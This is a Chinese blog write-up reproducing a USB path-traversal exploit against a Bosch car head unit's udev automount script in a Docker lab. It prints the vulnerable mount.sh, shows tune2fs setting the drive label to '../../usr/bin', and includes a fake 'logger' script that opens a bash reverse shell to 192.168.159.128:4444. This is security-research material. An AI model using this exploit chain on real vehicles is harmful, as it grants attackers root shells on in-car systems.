github上破解日系车机的文章 - https://github.com/ea/bosch_headunit_root

其中有利用 U 盘获取车机 shell 的操作

主要根据下面这篇文章进行环境搭建和复现

U盘目录穿越获取车机 SHELL(含模拟环境) - https://delikely.github.io/2021/06/04/U%E7%9B%98%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A%E8%8E%B7%E5%8F%96%E8%BD%A6%E6%9C%BASHELL/

环境准备

掏出我的U盘,不过好像ubuntu不支持

第一个是插入U盘前 第二个是插入U盘后

一般来说 /dev/sda 是指第一个磁盘设备,/dev/sdb 是指第二个磁盘设备,U盘插进去一般就是sdb了,因为虚拟机本身还有一个磁盘

我用blkid命令都不显示 额....

怀疑是不是因为U盘不是ETX4结构的

掏出我的傲梅分区助手,格式化分区

选择EXT4

等待执行完成即可

插入ubuntu虚拟机 可以看到这里已经是ext4类型了

接下来是固件环境的搭建,这里直接使用原博主已经弄好的Dockerfile,在虚拟机里面搭建一个模拟环境(可能这个时候你想说,那我们U盘插进去的时候,是插的虚拟机还是docker容器,答案是使用 --privileged 参数,以特权模式运行容器,即容器内的进程将具有与主机相同的权限。这可以让容器内的进程执行敏感操作,如挂载文件系统等)

我这里没有直接用wget,下载了对应文件传到虚拟机上

接着创建镜像

~/bosch headunit root$ sudo docker build -t delikely/bosch_headunit_root:automount .
[+] Building 29.8s (9/9) FINISHED
=> [internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 320B 0.0s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [internal] load metadata for docker.io/library/ubuntu:12.04 18.0s
=> [1/4] FROM docker.io/library/ubuntu:12.04@sha256:18305429afa14ea462f810146ba44d4363ae76e4c8dfc38288cf73aa07485005 10.5s
=> => resolve docker.io/library/ubuntu:12.04@sha256:18305429afa14ea462f810146ba44d4363ae76e4c8dfc38288cf73aa07485005 0.0s
=> => sha256:18305429afa14ea462f810146ba44d4363ae76e4c8dfc38288cf73aa07485005 1.36kB / 1.36kB 0.0s
=> => sha256:5b117edd0b767986092e9f721ba2364951b0a271f53f1f41aff9dd1861c2d4fe 3.62kB / 3.62kB 0.0s
=> => sha256:d8868e50ac4c7104d2200d42f432b661b2da8c1e417ccfae217e6a1e04bb9295 39.10MB / 39.10MB 6.5s
=> => sha256:83251ac64627fc331584f6c498b3aba5badc01574e2c70b2499af3af16630eed 57.94kB / 57.94kB 0.9s
=> => sha256:589bba2f1b36ae56f0152c246e2541c5aa604b058febfcf2be32e9a304fec610 423B / 423B 0.8s
=> => sha256:d62ecaceda3964b735cdd2af613d6bb136a52c1da0838b2ff4b4dab4212bcb1c 680B / 680B 1.3s
=> => sha256:6d93b41cfc6bf0d2522b7cf61588de4cd045065b36c52bd3aec2ba0622b2b22b 162B / 162B 1.4s
=> => extracting sha256:d8868e50ac4c7104d2200d42f432b661b2da8c1e417ccfae217e6a1e04bb9295 3.9s
=> => extracting sha256:83251ac64627fc331584f6c498b3aba5badc01574e2c70b2499af3af16630eed 0.0s
=> => extracting sha256:589bba2f1b36ae56f0152c246e2541c5aa604b058febfcf2be32e9a304fec610 0.0s
=> => extracting sha256:d62ecaceda3964b735cdd2af613d6bb136a52c1da0838b2ff4b4dab4212bcb1c 0.0s
=> => extracting sha256:6d93b41cfc6bf0d2522b7cf61588de4cd045065b36c52bd3aec2ba0622b2b22b 0.0s
=> [internal] load build context 0.0s
=> => transferring context: 33B 0.0s
=> [2/4] WORKDIR /etc/ 0.6s
=> [3/4] COPY ./udev.tar.gz /etc/ 0.0s
=> [4/4] RUN tar xzvf udev.tar.gz -C ./udev/ 0.5s
=> exporting to image 0.1s
=> => exporting layers 0.1s
=> => writing image sha256:b7f09bab4df68c56fbfcb47df03b921998fe677b5b1158b01d5d29a8625c962f 0.0s
=> => naming to docker.io/delikely/bosch_headunit_root:automount 0.0s

额这么慢?

不好意思打开方式错了,先改docker镜像源

sudo vi /etc/docker/daemon.json

添加

{
"registry-mirrors": ["https://y0qd3iq.mirror.aliyuncs.com"]
}

重启docker

service docker restart

可以看一下更新成功没有

sudo docker info|grep Mirrors -A 1

现在再搭建docker,世界终于美好了

接下来运行这个镜像 原文中的命令有点问题 这里使用

~/bosch headunit root$ sudo docker run -itd --privileged=true delikely/bosch_headunit_root:automount
05993c72efb7425b800924ac22d4d521b4a003261180a35cff301ad6f9b30db7

OK到这里环境终于OK了

漏洞代码分析

因为我们的docker前面启动设置的原因 所以现在如果插入U盘 会直接挂载到docker容器中 如下

可以看到是在容器中

另外车机的操作系统为 Linux

U 盘等外设热插拔由 udev 实现。udev 是 Linux 系统中的一个设备管理守护进程,全称为 "Userspace Device Manager"(用户空间设备管理器)。它负责监听和管理计算机系统中的硬件设备

配置文件在 /etc/udev 下 。udev 会根据设备的 UUID 和 LABEL,构造挂载点。UUID 是块设备的唯一标识符,LAEBL 是块设备的一个标签

车机中自定义了 U 盘挂载脚本,在 udev 配置文件 /etc/udev/rules.d/local.rules 中 ,指定了由脚本 /etc/udev/scripts/mount.sh 处理

接下来看 mount.sh 的内容

#!/bin/bash
#
# Called from udev
# Attempt to mount any added block devices by UUID
# and remove any removed devices
# . /etc/default/rcS if [ -n "$DEVDEBUG" ]
then
export >> /tmp/env.txt
fi MOUNT="/bin/mount"
UMOUNT="/bin/umount"
MOUNTPT="/dev/media"
MOUNTDB="/tmp/.automount" devname=${DEVNAME##*/} check_mount() {
dev=$1
not_found=1 exec 4< /proc/mounts read -u 4 device mount_point skip
while [ $? -eq 0 ]; do
case ${device} in
$dev)
not_found=0
echo ${mount_point}
;;
*)
;;
esac
read -u 4 device mount_point skip
done exec 4<&- return ${not_found}
} automount() {
if [ -z "${ID_FS_TYPE}" ]; then
logger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"
return
fi # Determine the name for the mount point. First check for the
# uuid, then for the label and then for a unique name.
if [ -n "${ID_FS_UUID}" ]; then
mountdir=${ID_FS_UUID}
elif [ -n "${ID_FS_LABEL}" ]; then
mountdir=${ID_FS_LABEL}
else
mountdir="disk"
while [ -d $MOUNTPT/$mountdir ]; do
mountdir="${mountdir}_"
done
fi # Create the mount point.
! test -d "$MOUNTPT/$mountdir" && mkdir -p "$MOUNTPT/$mountdir" # And mount the disk or partition.
if [ -n ${ID_FS_TYPE} ]
then
if [ "vfat" = ${ID_FS_TYPE} ]
then
IOCHARSET=",utf8=1"
elif [ "ntfs" = ${ID_FS_TYPE} ]
then
IOCHARSET=",nls=utf8"
fi
fi result=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)
status=$?
if [ ${status} -ne 0 ]; then
logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
rm_dir "$MOUNTPT/$mountdir"
else
logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
mkdir -p ${MOUNTDB}
echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
fi
} rm_dir() {
# We do not want to rm -r populated directories
if test "`find "$1" | wc -l | tr -d " "`" -lt 2 -a -d "$1"
then
! test -z "$1" && rm -r "$1"
else
logger -p user.err "mount.sh/automount" "not removing non-empty directory [$1]"
fi
} if [ "$ACTION" = "add" ] && [ -n "$DEVNAME" ]; then
check_mount "$DEVNAME" || automount
fi if [ "$ACTION" = "change" ] && [ -n "$DEVNAME" ]; then
# Check if the disk can be opened.
if [ exec <$DEVNAME ]; then
# The disk can be opened, so check for a file system and mount
# it. Otherwise wait for the add events for the partitions.
if [ -n "${ID_FS_TYPE}" ]; then
# There is a file system, so try to mount it.
check_mount "$DEVNAME" || automount
fi
else
# The disk cannot be opened. Unmount all mount points
# referring to this disk including partitions.
for file in $(ls ${MOUNTDB}/$devname* 2>&-)
do
read mountdir < ${file}
devname=${file#${MOUNTDB}/} logger "mount.sh/automount" "unmounting [${mountdir}]"
$UMOUNT -l $mountdir # Remove empty directories from auto-mounter
rm_dir "${mountdir}"
rm "${MOUNTDB}/$devname"
done
fi
fi if [ "$ACTION" = "remove" ] && [ -x "$UMOUNT" ] && [ -n "$DEVNAME" ]; then for mnt in $(check_mount "$DEVNAME")
do
logger "mount.sh/automount" "unmounting [$mnt]"
$UMOUNT -l $mnt # Remove empty directories from auto-mounter
if [ -e "${MOUNTDB}/$devname" ]; then
read mountdir < ${MOUNTDB}/$devname
rm_dir "$mountdir"
rm "${MOUNTDB}/$devname"
rm "${INFODB}/$devname"
fi
done
fi

查看主动挂载函数

automount() {
if [ -z "${ID_FS_TYPE}" ]; then
logger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"
return
fi # Determine the name for the mount point. First check for the
# uuid, then for the label and then for a unique name.
if [ -n "${ID_FS_UUID}" ]; then
mountdir=${ID_FS_UUID}
elif [ -n "${ID_FS_LABEL}" ]; then
mountdir=${ID_FS_LABEL}
else
mountdir="disk"
while [ -d $MOUNTPT/$mountdir ]; do
mountdir="${mountdir}_"
done
fi # Create the mount point.
! test -d "$MOUNTPT/$mountdir" && mkdir -p "$MOUNTPT/$mountdir" # And mount the disk or partition.
if [ -n ${ID_FS_TYPE} ]
then
if [ "vfat" = ${ID_FS_TYPE} ]
then
IOCHARSET=",utf8=1"
elif [ "ntfs" = ${ID_FS_TYPE} ]
then
IOCHARSET=",nls=utf8"
fi
fi result=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)
status=$?
if [ ${status} -ne 0 ]; then
logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
rm_dir "$MOUNTPT/$mountdir"
else
logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
mkdir -p ${MOUNTDB}
echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
fi
}

逐行分析

下面的代码判断U盘的文件系统 ID_FS_TYPE,可识别就继续执行,否则就退出

if [ -z "${ID_FS_TYPE}" ]; then
logger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"
return
fi

然后设置mountdir,如果 ID_FS_UUID 不为空则 mountdir 为 ID_FS_UUID,如果 ID_FS_LABEL 不为空则 mountdir 为 ID_FS_LABEL,否则mountdir为disk

if [ -n "${ID_FS_UUID}" ]; then
mountdir=${ID_FS_UUID}
elif [ -n "${ID_FS_LABEL}" ]; then
mountdir=${ID_FS_LABEL}
else
mountdir="disk"
while [ -d $MOUNTPT/$mountdir ]; do
mountdir="${mountdir}_"
done
fi

拼接一下 /dev/media 就是形成了最终的挂载点。最后使用 mount 命令将 U盘挂载到刚才构造的这个路径上

! test -d "$MOUNTPT/$mountdir" && mkdir -p "$MOUNTPT/$mountdir"

下面这部分因为我们是ETX4所以可以忽略

# And mount the disk or partition.
if [ -n ${ID_FS_TYPE} ]
then
if [ "vfat" = ${ID_FS_TYPE} ]
then
IOCHARSET=",utf8=1"
elif [ "ntfs" = ${ID_FS_TYPE} ]
then
IOCHARSET=",nls=utf8"
fi
fi

然后是真正的挂载操作

result=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)

$mountdir 这里很关键,刚好是我们能够控制的 而且没有什么过滤操作,存在目录穿越漏洞

咱们接着把挂载脚本看完

status=$?
if [ ${status} -ne 0 ]; then
logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
rm_dir "$MOUNTPT/$mountdir"
else
logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
mkdir -p ${MOUNTDB}
echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
fi

我们看挂载成功之后的逻辑 会调用logger命令,我们劫持/usr/bin/之后,可以在U盘里面再写一个logger脚本,导致挂载的时候运行到这里的时候,调用我们的logger脚本,从而实现反弹shell

漏洞利用

因为 $mountdir 没有被过滤,所以可以控制 $mountdir 来实现目录穿越,从而劫持系统中的程序实现任意命令执行

前面 $mountdir 我们可以通过 ID_FS_UUID 和 ID_FS_LABEL 来控制

blkid 命令是一个用于显示块设备(如硬盘、分区等)的文件系统类型和UUID(Universally Unique Identifier)的工具命令。它可以帮助您在 Linux 系统中识别和管理块设备。

/etc# blkid /dev/sdb1
/dev/sdb1: LABEL="EasyU" UUID="7cc162e8-93d7-1f44-bbd6-0d308f113468" TYPE="ext4"

可以看到其中

  • LABEL 为 EasyU
  • UUID 为 7cc162e8-93d7-1f44-bbd6-0d308f113468

我们使用 tune2fs 工具

tune2fs 是一个用于调整和修改 ext2、ext3 和 ext4 文件系统参数的命令行工具。它是 e2fsprogs 软件包(ext2/ext3/ext4 文件系统工具集)中的一部分,常用于 Linux 系统中

使用tune2fs控制UUID

/etc# tune2fs -U "../../usr/bin" /dev/sdb1
tune2fs 1.42 (29-Nov-2011)
tune2fs: Invalid UUID format

不规范的UUID,所以将其置空

/etc# tune2fs -U NULL /dev/sdb1
tune2fs 1.42 (29-Nov-2011)

控制 LABEL

/etc# tune2fs -L "../../usr/bin" /dev/sdb1
tune2fs 1.42 (29-Nov-2011)

看一下成果

/etc# blkid /dev/sdb1
/dev/sdb1: LABEL="../../usr/bin" UUID="7cc162e8-93d7-1f44-bbd6-0d308f113468" TYPE="ext4"

暂停docker,在U盘目录下编写logger脚本来进行反弹shell,这里我除了IP,其余直接复制原博主的了

root@kali:~/automotive# mount /dev/sdb1 /media/root/
root@kali:~/automotive# cd /media/root
root@kali:/media/root# cat logger
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1
root@kali:/media/root# chmod +x logger
root@kali:/media/root# cd -
root@kali:~/automotive# umount /dev/sdb1

启动docker环境~

最后再插入U盘 ,ubuntu虚拟机拿到反弹shell~ (大功告成

原来的/usr/bin 目录下就被劫持了,只剩下了U盘内容

可以看到反弹shell中我们用 whoami 就找不到命令了

如果想要使用其他的/usr/bin/目录下的命令,就需要把原来/usr/bin 目录的文件(或相同架构的可执行文件)拷贝到 U 盘根目录,这样在劫持了之后才有命令可用

END

建了一个微信的安全交流群,欢迎添加我微信备注进群,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注

加我拉你入群 黑糖安全公众号

U盘目录穿越获取车机SHELL - 分析与复现的更多相关文章

  1. 用C++和shell获取本机CPU、网卡IO、内存、磁盘等的基本信息

    用C++和shell获取本机CPU.网卡.内存.磁盘等的基本信息: 由于对C++相关的函数没多少了解,但是觉得用shell反而相对简单一些: 一.shell脚本,用来辅助C++获取主机的资源使用信息 ...

  2. Shell 命令行获取本机IP,grep的练习

    Shell 命令行获取本机IP,grep的练习 在 mac 下面输入 ifconfig 或者在 linux 下面输入 ip a 就可以得到我们的网卡信息.不过通常情况下,我们需要查看的是我们的IP地址 ...

  3. shell中获取本机ip地址

    shell中获取本机ip地址 方法一: /sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr ...

  4. 用 shell 获取本机的网卡名称

    用 shell 获取本机的网卡名称 # 用 shell 获取本机的网卡名称 ls /sys/class/net # 或者 ifconfig | grep "Link" | awk ...

  5. c#中如何获取本机MAC地址、IP地址、硬盘ID、CPU序列号等系统信息

    我们在利用C#开发桌面程序(Winform)程序的时候,经常需要获取一些跟系统相关的信息,例如用户名.MAC地址.IP地址.硬盘ID.CPU序列号.系统名称.物理内存等. 首先需要引入命名空间: us ...

  6. 居于mtk芯片安卓车机系统具体流程

    一:车机系统框架  MCU 功能  电源控制  Radio 控制(RDS)  按键检测(Panel/Remote/SW)  常见信号检查(倒车/大灯/刹车)  CAN 模块通讯  ARM- ...

  7. 使用Android studio配置软件签名,并在车机安装

    系统级APP,可在Androidmanifest.xml中配置属性,并使用系统级签名. 1. 签名方式 1.1 bulid.gradle(:app)中添加签名信息 1.2 使用Android stud ...

  8. python学习之最简单的获取本机ip信息的小程序

    文章是从我的个人博客粘贴过来的,大家可以直接访问我的个人博客哦 http://www.iwangzheng.com 获取本机ip信息的命令ifconfig总是在用,这次拿到pyhton代码里,感觉py ...

  9. 获取本机CPU,硬盘等使用情况

    早上的时候接到主管的一个任务,要获取服务器上的cpu,硬盘, 数据库等 的使用情况,并以邮件的方式发给boss, = =没办法,公司的服务器真是不敢恭维,顺便吐槽一下公司的网速,卡的时候30k左右徘徊 ...

  10. 如何获取本机IP

    GetLocalHost 直接通过InetAddress.getLocalHost()来获取,其主要逻辑如下 InetAddress.getLocalHost(): String hostname = ...

随机推荐

  1. 2021-01-17:java中,HashMap底层数据结构是什么?

    福哥答案2020-01-07: 1.7 数组+链表重要字段://HashMap的主干数组,可以看到就是一个Entry数组,初始值为空数组{},主干数组的长度一定是2的次幂,至于为什么这么做,后面会有详 ...

  2. action装饰器

    视图集中附加action的声明 from rest_framework.decorators import action # 追加action:返回书记的倒叙地0个书籍的信息 @action(meth ...

  3. Python encode()方法和decode()方法

    Python encode()方法 encode() 方法为字符串类型(str)提供的方法,用于将 str 类型转换成 bytes 类型,这个过程也称为"编码".encode() ...

  4. Error: Cannot find module ‘webpack-cli/bin/config-yargs‘

    今配置一个webpack-dev-server进行服务端渲染时老是不正确 npm run dev 就崩了 起初的配置为 "devDependencies": { "web ...

  5. 安装Visio 2016与原本的office冲突的最终解决方案

    一. 下载office visio 2016 二. 开始安装 但是提示卸载原本的office 三. 网上找寻答案 于是按照这篇文章https://jingyan.baidu.com/article/1 ...

  6. element-ui中Select 选择器异步加载下一页

    场景 当我们使用 Select 选择器存放大量数据的时候. 会发现存在这么2个问题. 1.接口响应时间较长.(因为数据量较多,一次查询的所有)甚至有可能超时. 2.前端下拉框滑动卡顿. 这个时候们如何 ...

  7. 文字生成图像 AI免费工具第一弹 StableDiffusion

    随着ChatGPT的爆火,text-to-image文字生成图像.以及更广义的AIGC(AI Generated Content)相关的话题最近一直热度不减.相信大家这几天经常会在各类的自媒体.甚至是 ...

  8. 【C#/.NET】MAUI上的依赖注入

    ​ 引言 在移动应用开发中,依赖注入是一项非常重要的技术,它可以帮助我们简化代码结构.提高可维护性并增加测试覆盖率.在最新的.NET跨平台框架MAUI中,我们也可以利用依赖注入来构建高效的应用程序架构 ...

  9. PB从入坑到放弃(一)第一个HelloWorld程序

    前言 网上关于PowerBuilder的资料确实是少之又少. 为了方便,后面我们都用pb 来代替PowerBuilder 说到这不得不来说说自己的pb入坑经历, 自己也不是计算机科班出生. 刚到公司面 ...

  10. Unity的OnOpenAsset:深入解析与实用案例

    Unity OnOpenAsset 在Unity中,OnOpenAsset是一个非常有用的回调函数,它可以在用户双击资源文件时自动打开一个编辑器窗口.这个回调函数可以用于自定义资源编辑,提高工作效率. ...